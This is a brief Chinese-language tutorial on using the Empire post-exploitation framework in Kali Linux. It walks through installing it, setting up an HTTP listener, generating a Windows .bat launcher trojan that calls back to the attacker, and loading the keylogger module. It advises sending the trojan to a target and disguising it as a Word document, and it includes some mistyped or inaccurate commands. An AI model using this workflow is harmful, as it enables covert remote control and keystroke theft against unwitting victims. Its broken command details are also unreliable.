web渗透帝国

1.如何下载帝国
1.1.在window中通过网站下载
Releases · EmpireProject/Empire · GitHub

1.2.在 kali中直接下载
下载命令：git clone https://github.com/BC-SECURITY/Empire

注意：root账号下执行该命令

 

查看python环境

输入python、python2命令进行查看，exit()退出

 

 

1.3.在kali中通过powershell进行下载
帝国下载：sudo  apt install powrshell-empire

 开启服务：powershell-empire  server

 

 开启客户端：powershell-empire  client

  ​​

 

2.监听
2.1.监听http
输入命令：listeners  进入监听界面

 

                uselistener http  进入http监听模式

 

 2.2.查看虚拟机ip
输入：ipconfig进行查看 

 

2.3.设置监听 
1.set  Name text1  设置一个监听

2.set  Host  你要监听的ip地址/9999

3.set  Port 9999

4.execute 回到监听页面

 

2.4.木马
1.生成bat类型的木马
输入命令：uselistener

                  usestager windows/launcher_bat 

 

set Listener text1 设置你想使用的监听路线

 

把生成的木马发送到主机上，bat可以使用word进行伪装。

2.监听键盘
命令：usemodule powershell/collection/keylogger